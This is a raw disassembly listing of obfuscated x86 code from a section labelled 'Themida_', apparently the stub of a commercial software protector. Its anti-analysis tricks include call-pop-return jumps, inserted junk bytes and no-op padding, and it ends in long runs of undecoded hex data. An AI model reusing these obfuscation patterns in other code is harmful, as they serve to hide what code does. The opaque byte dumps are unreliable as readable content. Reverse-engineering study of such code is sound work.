		pop	ebx
		pop	eax
		push	0
		push	ebx
		call	sub_579645
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579645	proc near		; CODE XREF: Themida_:0057963Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_579645	endp

; ---------------------------------------------------------------------------
		imul	ecx, [ebx+14222595h], 33C08B06h
		mov	ebp, 6142039h
		mov	eax, eax
		jmp	loc_57967A
; ---------------------------------------------------------------------------
		db 73h
; ---------------------------------------------------------------------------
		xor	cl, ah
		mov	cl, 45h
		or	dword ptr [edi-7Fh], 39h
		mov	bh, 0CFh
		retn
; ---------------------------------------------------------------------------
		db 0F6h
		db 0A4h, 0A1h
; ---------------------------------------------------------------------------


loc_57967A:				; CODE XREF: Themida_:00579666j
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_57968C
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57969F


loc_57968C:				; CODE XREF: Themida_:00579681j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+616B50Eh]
		call	ebx
		pop	ebx
		pop	eax


loc_57969F:				; CODE XREF: Themida_:0057968Aj
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5796B9
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+616B45Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_5796B9:				; CODE XREF: Themida_:005796A6j
		jmp	loc_5796CC
; ---------------------------------------------------------------------------
		inc	ecx
		retf	0DB5Bh
; ---------------------------------------------------------------------------
		dw 0EA5Bh
		dd 6B026BE1h, 0D5DAF1B5h
; ---------------------------------------------------------------------------


loc_5796CC:				; CODE XREF: Themida_:loc_5796B9j
		jge	loc_5796D4
		mov	cl, 8Fh


loc_5796D4:				; CODE XREF: Themida_:loc_5796CCj
		mov	eax, eax
		jmp	loc_5796E1
; ---------------------------------------------------------------------------
		db 0F2h
		dd 9E04834Ch
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_5796E1:				; CODE XREF: Themida_:005796D6j
		mov	eax, eax
		mov	edi, [ebp+6143165h]
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_5796FB
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_57970E


loc_5796FB:				; CODE XREF: Themida_:005796F0j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+616B575h]
		call	ebx
		pop	ebx
		pop	eax


loc_57970E:				; CODE XREF: Themida_:005796F9j
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_579728
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+616B474h]
		call	ebx
		pop	ebx
		pop	eax


loc_579728:				; CODE XREF: Themida_:00579715j
		push	0
		push	esi
		call	sub_579733
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579733	proc near		; CODE XREF: Themida_:0057972Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_579733	endp

; ---------------------------------------------------------------------------
		db 0C9h
		dd 0A86AE916h, 9317482Fh, 18D8BA8h, 0E806140Bh,	0Ah, 6D70BE41h
		dd 69220CDCh, 0B70F66ECh, 14E959CEh, 89000000h,	0FAC3B3F4h
		dd 95EE7123h, 0CA6BE949h, 4F48F7ADh, 0FC93B7Ch,	68Ch, 0E5852900h
		dd 8B061431h, 0ACBF66C0h, 53C08BB4h, 0BE8h, 5A575100h
		dd 225A35CCh, 0A6EA0EB7h, 14A58D2Bh, 59590614h,	1058D8Bh
		dd 0BD830614h, 61430B1h, 83097500h, 141AE1BDh, 13740006h
		dd 0C08B5350h, 0B8h, 0A79D8D00h, 0FF0616B4h, 57585BD3h
		dd 0B58D8951h, 5F06142Ah, 0D5BD8B59h, 8B061419h, 8B19B6C0h
		dd 12840FC0h, 0E9000000h, 0Dh, 894D8B8Eh, 736DD12Ah, 2445480Dh
		dd 0B1BD833Fh, 61430h, 0BD830975h, 6141AE1h, 50197400h
		dd 0B8C08B53h, 7D0h, 1A498589h,	9D8D0614h, 616B73Ah, 585BD3FFh
		dd 1AE1BD83h, 74000614h, 0B8535017h, 7D0h, 1A498589h, 9D8D0614h
		dd 616B429h, 585BD3FFh,	6EA171BFh, 51006A65h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 5D1912FEh
		dd 0C08BFC05h, 0F236EFB9h, 5985C615h, 5306141Ah, 31ED958Bh
		dd 90680614h, 6699395Fh, 0FFFD36B9h, 141145B5h,	418D8B06h
		dd 8906140Bh, 142CF58Dh, 13858D06h, 0E806143Bh,	12h
dword_5798B0	dd 672F8D01h, 6D12AA13h, 0A46D0876h, 0DEE5EC96h, 0EE926BFh
					; DATA XREF: Themida_:0054AF30o
		dd 0B8000000h, 0AF38C6DAh, 7887EA09h, 0F63173D1h, 0D0FF5F8Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B7C35646h
		dd 8589F565h, 6142361h,	6E960h,	0F440000h, 812F3720h, 8061D18Bh
		dd 85C6E2C2h, 6141A59h,	52006A57h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 1AA202Ch, 6146023Ch, 8C5BD03h
		dd 6680614h, 0E8900452h, 7, 0CF60E681h,	1BAD6D2h, 14098D85h
		dd 958B5906h, 6143105h,	1145B5FFh, 8B660614h, 13858DCFh
		dd 6A06143Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 78AC357h, 1BD6D5EAh, 0BF1FAABEh
		dd 16B90DD5h, 8D89D0FFh, 6142351h, 52B4F181h, 858976ADh
		dd 6142B19h, 2918D31h, 85C60614h, 6141A59h, 51006A43h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0D3BF0FC0h, 286865B6h, 33BC9070h, 141521BDh,	45B5FF06h
		dd 6A061411h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 3494C350h, 0B588356Ah,	58EDA70h
		dd 3B13858Dh, 0D0FF0614h, 0A15B50B9h, 0C781664Bh, 8589CCD4h
		dd 6143075h, 1A5985C6h,	6A4C0614h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6226C355h
		dd 419C6932h, 6852ADA7h, 0D9DA1CE9h, 727D81BFh,	45B5FF72h
		dd 8B061411h, 142CA5BDh, 13858D06h, 6A06143Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0B86FC352h, 0E31C44C0h, 0E981A2BEh, 5E015329h, 2870Fh
		dd 90B20000h, 8D23D0FFh, 614226Dh, 2F958589h, 958B0614h
		dd 6142249h, 1A5985C6h,	68460614h, 0BADE0614h, 18F58D8Bh
		dd 0B5FF0614h, 6141145h, 31D98589h, 858D0614h, 6143B13h
		dd 0BFD0FFF5h, 61AEAEE4h, 8E9h,	4F285C00h, 1D74245Ch, 59858959h
		dd 8906141Bh, 141FC9BDh, 5985C606h, 4706141Ah, 5E960h
		dd 95AD0000h, 0B4592D16h, 0E26861EBh, 0E88A0FB5h, 0Eh
		dd 0B0A188E1h, 8E10E6B1h, 64512523h, 0E980D063h, 0DE95FDDh
		dd 0B1000000h, 0EF50BC0Eh, 0CA262E56h, 0A72E599Ah, 1145B5FFh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 6C38BDC3h, 80F67A35h, 0F8B16AEEh,	3B13858Dh
		dd 810F0614h, 6, 0ADD7D281h, 0D0FF6E99h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 58C35040h, 0D239A23Fh
		dd 8B665310h, 0BF0F5FCEh, 458589C9h, 6006141Dh,	6149E480h
		dd 1A5985C6h, 57470614h, 45E28166h, 0F3685F95h,	6A83D0B5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 449AC353h, 0E346642Eh, 52586EA8h,	94D78166h
		dd 3D85890Bh, 0FF061403h, 141145B5h, 0A5BD0906h, 8D061405h
		dd 143B1385h, 0D4EA8106h, 0FF43B5FCh, 662EBAD0h, 85897027h
		dd 6142F55h, 0E498D89h,	85C60614h, 6141A59h, 0E1816677h
		dd 0A368F03Eh, 6AF397A8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0BAFFC350h,	4EA70CCFh
		dd 0FFB41DF1h, 140931B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0DE8306Bh
		dd 4E000000h, 0D1FBDECh, 169AD9BCh, 0F7BC8304h,	16F58D8Bh
		dd 8D590614h, 143B1385h, 9D8B6006h, 6140539h, 2BA9B589h
		dd 0FF610614h, 559589D0h, 8906142Dh, 14150985h,	0DDB58906h
		dd 0E8061408h, 12h, 119046D3h, 577A7C80h, 3AFA08BDh, 71673DCEh
		dd 9589250Ah, 6142F6Dh,	5985C65Ah, 4706141Ah, 0FAF668F5h
		dd 0FFF58728h, 141145B5h, 0EDBA6606h, 13858D79h, 6A06143Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7E05C357h, 57657EF5h, 0FF244A0Eh,	5DBF66D0h
		dd 8585893Dh, 6006140Ch, 0CE8h,	0B131F400h, 0D1DE7FB5h
		dd 0AD4D6739h, 0BEBCBF30h, 665F6DDDh, 0C661D88Bh, 141A5985h
		dd 6A4306h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0FDCF11C3h, 6890FE9h, 29000000h, 1424298Dh
		dd 0BD9D0906h, 68061406h, 0BC8E6EFCh, 1579A4B9h, 45B5FF5Fh
		dd 80061411h, 858DFDF1h, 6143B13h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 93C35545h, 830F914Fh, 14h
		dd 9E8h, 0D14FD300h, 4DE6C418h,	0DBBF8036h, 5F05F74Fh
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 6E6199C3h, 9D899FD7h, 6140401h, 0DE9h, 96AF9F00h
		dd 2E61D955h, 7AA76BFh,	8589A1CAh, 6140681h, 31359501h
		dd 85C60614h, 6141A59h,	95896045h, 6142E89h, 35219D89h
		dd 68610614h, 8E726969h, 0B5FFCB8Bh, 6141145h, 0BD235756h
		dd 61405C9h, 858D595Ah,	6143B13h, 5E8h,	0B9301B00h, 8A6058E1h
		dd 615857C6h, 8BD0FF5Ah, 142C6D95h, 0F9858906h,	0E906142Eh
		dd 0Ch,	1481B0D1h, 0B1CC1692h, 855F1D4Ah, 1A5985C6h, 0F440614h
		dd 68Fh, 3DBD8B00h, 2B06140Fh, 141CCDBDh, 0EC646806h, 0BF66B8F2h
		dd 0B5FF4678h, 6141145h, 1385B589h, 0B5890614h,	6143215h
		dd 3B13858Dh, 8D8B0614h, 6140091h, 0C981D0FFh, 5FC0613Fh
		dd 0B618589h, 8C0F0614h, 6, 23D99509h, 85C60614h, 6141A59h
		dd 4089B943h, 950B3AC7h, 6142409h, 764AA768h, 73BDBFC0h
		dd 0B5FF4BF0h, 6141145h, 13858DF9h, 0FF06143Bh,	0BD8D89D0h
		dd 89061423h, 14308185h, 7E806h, 7F70000h, 35504231h, 5F19B686h
		dd 4A6BD80h, 0F000617h,	0C384h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 988A8D6Ah
		dd 8DCC8F89h, 17048885h, 81666006h, 8AE288D2h, 895061FCh
		dd 141155B5h, 8B016A06h, 1401CD8Dh, 0E8006A06h,	5, 7715870Dh
		dd 0EE9F3h, 0D3CA0000h,	0E953F505h, 3895878Dh, 2F3FFB14h
		dd 81006A5Ah, 0C9E5FEF1h, 7595FF78h, 0F061430h,	83h, 99858900h
		dd 0F061402h, 82h, 0B6FF6A00h, 99B5FF27h, 3061402h, 140E258Dh
		dd 55B50906h, 0FF061431h, 142B1995h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 6061BA91h
		dd 50CFBF0Fh, 615BA3B6h, 0BF66C08Bh, 0BD83F248h, 61430B1h
		dd 83097500h, 141AE1BDh, 19740006h, 0C08B5350h,	7D1B8h
		dd 49858900h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h
		dd 6141Ah, 53501774h, 7D1B8h, 49858900h, 8D06141Ah, 16B4299Dh
		dd 5BD3FF06h, 0DEDDB958h, 0BD8939C0h, 6142329h,	81666050h
		dd 8964ADD1h, 140ED19Dh, 8B5A6106h, 61F860C0h, 1A5985C6h
		dd 0B9470614h, 3ADDE948h, 0C8F7C168h, 0B5FFF593h, 6141145h
		dd 3B13858Dh, 0E7810614h, 7C8AA225h, 0FE9h, 0D7260500h
		dd 0C23DCB67h, 0D0D137B2h, 3E10365Dh, 0BA50D0FFh, 17096002h
		dd 8C9858Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0F95632C3h
		dd 0C73FB15Ah, 9400h, 0E88A5000h, 6A585Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9D635FC3h
		dd 0C9B58DCFh, 89061708h, 141D718Dh, 6A5606h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 98A89DC3h
		dd 0E772A317h, 0D0FF396Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 15C35747h, 717C0D5Fh,	0B967F5B1h, 56041AB7h
		dd 25999529h, 858D0614h, 61708C9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0A1C35242h,	0D94C90EBh, 0D18166CAh
		dd 0E281CF5Eh, 7448E8ABh, 0C2B4DDB9h, 478836Dh,	5B850F06h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0E848C350h, 93537775h,	14E8C4h
		dd 3FBA0000h, 0CB7D5B54h, 0BFED3A33h, 1F4BF87Fh, 8F2495CBh
		dd 840FDA31h, 6, 116DBD2Bh, 665F0614h, 85C7D08Bh, 617095Dh
		dd 1, 23158D09h, 0BD830614h, 6142CBDh, 7A850F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0F02C351h, 0D1BD0160h, 2B061414h,	1402A595h
		dd 0BD836106h, 617095Dh, 42850F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0A104C352h, 0C710D554h, 3DBD8347h, 61400h, 13840Fh
		dd 0F6800000h, 9585C7B8h, 6142Bh, 29000000h, 1425B585h
		dd 0DB8C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	21C35343h, 2179184Ch, 65310065h, 0C2C1B966h, 0F04C3F6h
		dd 52D84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 34BDABE3h, 35958960h, 8B06140Bh
		dd 1423A1B5h, 0BD8B6106h, 6140629h, 12CD85C7h, 614h, 800F0000h
		dd 19h,	14E9h, 80A85500h, 8CEAEC6Dh, 65564482h,	4A85DFFFh
		dd 2607D6E9h, 0B3BD80C1h, 61704h, 6850Fh, 85890000h, 6141A25h
		dd 1A5985C6h, 8B470614h, 1430E995h, 5B866806h, 5CBAE3E4h
		dd 0FF0DE5ACh, 141145B5h, 1958B06h, 8D061409h, 143B1385h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 20CE2733h, 9D2C5FCh, 14149195h, 0EE906h
		dd 0A120000h, 0DABD0998h, 0E53F11C9h, 7403BB0Fh, 1BB9958Bh
		dd 0D0FF0614h, 683CE280h, 104h,	9D8DF98Bh, 61411A9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 48C35747h, 8EB1E864h
		dd 414DD3F2h, 6E8h, 6EB5C600h, 896510E3h, 14147585h, 1535906h
		dd 1413DD85h, 8BD0FF06h, 1424D9BDh, 0A9858D06h,	6A061411h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 6772C352h, 0F5B2883Ch, 0F280CB1Ah, 0A5958B4Ah
		dd 5006142Fh, 0E473B966h, 465858Dh, 12E80617h, 0BC000000h
		dd 86238199h, 57D9838Fh, 2D4DE792h, 9B1523FEh, 5FCE8A25h
		dd 50D7B70Fh, 41958B52h, 5906141Bh, 0FB38858Dh,	0EA810616h
		dd 2CFD229Eh, 3F57D181h, 89501F32h, 1415E985h, 995FF06h
		dd 0E9061415h, 10h, 0D63B535Fh,	868F6331h, 0E1AB8733h
		dd 42B7365Ah, 2B0CC483h, 1406658Dh, 68006A06h, 80h, 6A036Ah
		dd 68006Ah, 8D800000h, 16FB3885h, 95FF5006h, 6140681h
		dd 4488589h, 85C60617h,	6141A59h, 5E876847h, 0B5FFC7B1h
		dd 6141145h, 3B13858Dh,	0D0FF0614h, 0B5FF006Ah,	6170448h
		dd 0CA81D0FFh, 111EAAFh, 37D03Dh, 41830F00h, 8B000000h
		dd 48B5FFD3h, 0F061704h, 8Eh, 8195FF00h, 60061430h, 23219589h
		dd 0FE90614h, 0AE000000h, 0A1710C21h, 0E885F53Fh, 89A0BF08h
		dd 8B610AE7h, 142B458Dh, 0AEE906h, 0BD8B0000h, 6140869h
		dd 448B5FFh, 0B70F0617h, 8195FFFFh, 60061430h, 31D5BD8Bh
		dd 81520614h, 7FE943CBh, 8B615B78h, 8B006AD6h, 140BB595h
		dd 6A006A06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 8380C350h, 0FA15158h, 68Eh, 0A5BD8B00h
		dd 6A061414h, 0F88B6600h, 12E9006Ah, 0C1000000h, 8C602DA7h
		dd 0C60CC030h, 0B735038Ah, 3F8BB0FBh, 8B006A3Fh, 142FB995h
		dd 0F8006A06h, 44C858Dh, 81500617h, 31097AE7h, 8195FF55h
		dd 2B061406h, 141CC195h, 0FFF88306h, 114850Fh, 8D090000h
		dd 61414C9h, 0BFD8858Dh, 0EE90616h, 9E000000h, 0AE58CAACh
		dd 16DAE867h, 6CE41A44h, 33D0FF41h, 142B9D95h, 0E8006A06h
		dd 0Ah,	0CAD91C5h, 0B7A0AD3Dh, 870F437Ch, 17h, 12E9h, 0CB883B00h
		dd 1D41B2DCh, 526A9B44h, 54A652B5h, 5FD355F0h, 6AF98Bh
		dd 30E9B589h, 6A0614h, 0C51958Bh, 6A0614h, 1A25B589h, 6A0614h
		dd 6840Fh, 0BD8B0000h, 6140271h, 289958Bh, 6A0614h, 91BF6653h
		dd 0AE9596Fh, 0A3000000h, 3475AC8h, 5C020260h, 4C858DA9h
		dd 0F061704h, 68Bh, 0DDBD8B00h,	50061410h, 0F119D89h, 95FF0614h
		dd 6140681h, 23EDB589h,	0DF810614h, 7F80F064h, 0FFFF883h
		dd 4585h, 927BB900h, 0B58D10BFh, 616FE54h, 5E8h, 0EE5A2900h
		dd 810FD868h, 2, 8D5FCA8Bh, 16A99A85h, 88D9B906h, 0D0FF4990h
		dd 1C3D8589h, 6A0614h, 2A798589h, 95FF0614h, 6142EF9h
		dd 1A21B589h, 85890614h, 6170448h, 294D8D89h, 860F0614h
		dd 6, 4831EF81h, 6A030Ch, 94E5B966h, 440858Dh, 6A0617h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F120F9C3h, 7B3A095Fh, 6A508627h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A497C352h
		dd 0FBBA5370h, 89F82C55h, 140B798Dh, 0E8046A06h, 0Eh, 0CFE07DEEh
		dd 8E1FE852h, 0B6B44FF0h, 0BE86BA8h, 84000000h,	0B1668E7Dh
		dd 935790DCh, 858916E8h, 61429E9h, 858D5A5Fh, 6142421h
		dd 0DE950h, 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 6A9F3790h
		dd 66006A00h, 9D29D68Bh, 6142615h, 8960016Ah, 1400C195h
		dd 0D1B58906h, 6106140Bh, 448B5FFh, 14E90617h, 2E000000h
		dd 2C4153ADh, 0CCCF7AC4h, 0E252F918h, 5937CAF5h, 0FF334521h
		dd 140B6195h, 418D0B06h, 0E9061411h, 1B7Dh, 18E1BD8Bh
		dd 0C08B0614h, 2A5BD89h, 0BD830614h, 61430B1h, 83097500h
		dd 141AE1BDh, 19740006h, 0C08B5350h, 7D2B8h, 49858900h
		dd 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h,	6141Ah
		dd 53501774h, 7D2B8h, 49858900h, 8D06141Ah, 16B4299Dh
		dd 5BD3FF06h, 0B6BA6658h, 0D1BD89D8h, 66061404h, 1062C981h
		dd 0BD8BC08Bh, 614052Dh, 12CD85C7h, 10614h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B8F54C3h, 1412B1BDh, 0E7B86806h, 0B5FFCEE4h, 6143481h
		dd 3B13858Dh, 0D0FF0614h, 3A58589h, 858D0614h, 61706A4h
		dd 61858D50h, 50061709h, 168h, 0A595FF80h, 0B061403h, 0C70A75C0h
		dd 14033985h, 106h, 0DBD46800h,	0B5FFC005h, 6143481h, 3B13858Dh
		dd 0D0FF0614h, 2ED8589h
		dd 858D0614h, 616F8F1h,	45B5FF50h, 0FF061411h, 141D4595h
		dd 74C00B06h, 8DD88B0Bh, 1708A485h, 0D3FF5006h,	8A4858Dh
		dd 83660617h, 0A750938h, 14CD85C7h, 10614h, 95FF0000h
		dd 6140C85h, 0FF25h, 5F88300h, 85C70A73h, 6141D79h, 1
		dd 2049B531h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 4CAE2FC3h, 0BDCCC21Fh, 0F2810FBFh
		dd 64DBB2DCh, 0B6CF8B66h, 0B3BD8058h, 61704h, 2D840Fh
		dd 95030000h, 6143131h,	6BDB589h, 0BD830614h, 617095Dh
		dd 1B840F00h, 60000000h, 8E9h, 6673B000h, 826B61CCh, 66BCBB39h
		dd 0E9610AE3h, 19C1h, 0BD83D78Ah, 61414CDh, 0B5850F00h
		dd 8D000000h, 17047D85h, 10E806h, 16A30000h, 4554D1D3h
		dd 0F56F5CC8h, 25D00935h, 0F566D20h, 82h, 665A5A00h, 741CE181h
		dd 65BD3150h, 6A06142Ah, 0B5016001h, 6142CC9h, 85895061h
		dd 61418FDh, 8B006A5Ah,	1418E1BDh, 8A006A06h, 7595FFF1h
		dd 89061430h, 140565BDh, 0A7858906h, 66061704h,	9DE4EA81h
		dd 9523FF6Ah, 6140BE1h,	4A7B5FFh, 6A0617h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 929381C3h
		dd 0DD5ABECBh, 0F348099h, 78Fh,	81665200h, 5AF66EF7h, 15859D01h
		dd 95FF0614h, 6142B19h,	0F983BA66h, 0F8B8858Dh,	0BD8B0616h
		dd 6140395h, 619B589h, 0FF500614h, 142F9595h, 8902B106h
		dd 16F94285h, 0FEBF0F06h, 0F8C5858Dh, 6A0616h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FB042C3h, 0FF50D6B7h, 16F942B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 4595FF52h
		dd 8B06141Dh, 143215BDh, 0D5858906h, 8B06140Bh,	1419AD95h
		dd 33858D06h, 0F90616F9h, 1961958Bh, 81500614h,	6A5C12D2h
		dd 42B5FF75h, 6A0616F9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 438DC352h, 95FF5C7Fh
		dd 6141D45h, 0C398509h,	0CE80614h, 36000000h, 49BE58FAh
		dd 0EE21804Ch, 0E9A94A45h, 11h,	66832669h, 0C498DFDCh
		dd 0EB7C1F66h, 0BDAECEADh, 85895959h, 616F956h,	20CDBD29h
		dd 858D0614h, 616F912h,	500FE280h, 0B5FFCF8Ah, 616F942h
		dd 0C4D28166h, 89BD898Dh, 0FF06140Eh, 141D4595h, 11E906h
		dd 0A67C0000h, 0BD3E25AEh, 5166AEA9h, 84BF0C27h, 0E937CE54h
		dd 14h,	4DB56F9Ch, 36F52603h, 2A589678h, 0A2100A1Ah, 40A9F794h
		dd 0F94E8589h, 66B10616h, 0F905858Dh, 0DEB10616h, 3DB96650h
		dd 950951B2h, 6140F71h,	42B5FF5Ah, 0E80616F9h, 0Ch, 9F331EB4h
		dd 0BE602FB0h, 0A878C801h, 0F18D8Bh, 0FF5F0614h, 141D4595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 29768C7Eh, 30BBD40h, 1410A995h, 52858906h
		dd 0F0616F9h, 8B66CBB7h, 20858DCFh, 660616F9h, 502CDEBFh
		dd 165DB589h, 0B5FF0614h, 616F942h, 1625950Bh, 95FF0614h
		dd 6141D45h, 8589CF8Bh,	61402A9h, 0F8D4858Dh, 6A0616h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 251DE8C3h, 1E2A74EBh, 5E87829h, 1F000000h, 0C48BF716h
		dd 0CE8h, 93C4B300h, 0BDB3EE27h, 2D60D44Ch, 0A98D0373h
		dd 59061408h, 0A5BD895Fh, 50061421h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0E5C35545h,	7382D57Eh, 27BD04B8h
		dd 30919531h, 0B5FF0614h, 616F942h, 18CDBD89h, 95FF0614h
		dd 6141D45h, 152D8D33h,	85890614h, 616F946h, 1CD8D8Bh
		dd 0BD290614h, 6142201h, 0F8E3858Dh, 0BA660616h, 8B5008F4h
		dd 141951BDh, 42B5FF06h, 0E90616F9h, 6,	4B6757D4h, 95FF48ECh
		dd 6141D45h, 0E042C2BFh, 13E914h, 5A3A0000h, 35D7D491h
		dd 0D0945573h, 316F3806h, 0E075D33Ah, 4A858957h, 8A0616F9h
		dd 10468ECh, 0EAB50000h, 0F9DA858Dh, 0B5890616h, 6140021h
		dd 8D62B550h, 16FADE85h, 50D38B06h, 0FFFA8B66h,	142F5595h
		dd 0E9606006h, 0Dh, 0F5D83EC6h,	458A0A8h, 0A8AE93DDh, 7E973h
		dd 32960000h, 3DDAC975h, 0BD09611Bh, 614152Dh, 0FC08561h
		dd 685h, 0DD958900h, 80061410h,	1704B3BDh, 850F0006h, 2Ch
		dd 23A5BD0Bh, 0A2E90614h, 6A000015h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0B9E5C350h
		dd 608A9F22h, 14CDBD83h, 0F000614h, 2185h, 299D8900h, 83061423h
		dd 17095DBDh, 840F0006h, 58h, 58D8B50h,	5906142Fh, 0F658D8Bh
		dd 858D0614h, 616F977h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0C7C35545h, 7E0EA353h, 0E959AFC8h, 29959589h
		dd 1EE90614h, 81000015h, 0A33634CFh, 0B2BA6627h, 33E98Eh
		dd 85890000h, 6142F69h,	0F962858Dh, 6A0616h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A20C5CC3h
		dd 71DF4B38h, 0FB8B6692h, 6A50F5h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 3E4C1FC3h, 0F9DA858Dh
		dd 8D230616h, 61424D5h,	5E950h,	8C450000h, 836057E7h, 1414CDBDh
		dd 840F0006h, 67h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0E6C35040h, 9D5BD181h, 858D77CBh, 616FB00h
		dd 1A8C0Fh, 8D0F0000h, 14h, 0FE9h, 0E8110800h, 693B5CD4h
		dd 0CDAE9E4Bh
		db 9Fh,	6Ah, 8Eh
off_57AEE7	dd offset dword_445750+91C5h ; DATA XREF: Themida_:00548FE0o
					; Themida_:00549AB0o
		align 4
		dd 12E900h, 0FB250000h,	42DAACCEh, 6CEA4C2Bh, 13D580Fh
		dd 0FCD4C8CDh, 8DD2B70Fh, 16FAE985h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 99283625h
		dd 19E5F9E5h, 830F504Eh, 5, 0C024D9B9h,	38858D0Bh, 0F0616FBh
		dd 8950C8BFh, 141CB58Dh, 995FF06h, 66061415h, 831619B9h
		dd 6A10C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 393B0CC3h, 76C12A19h, 10E8D4h, 0F3150000h
		dd 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 0AE9663Dh, 99000000h
		dd 0E96CACE8h, 0F60E0B10h, 0C08B5F39h, 9131BF66h, 30B1BD83h
		dd 75000614h, 0E1BD8309h, 6141Ah, 53501974h, 0D3B8C08Bh
		dd 89000007h, 141A4985h, 3A9D8D06h, 0FF0616B7h,	83585BD3h
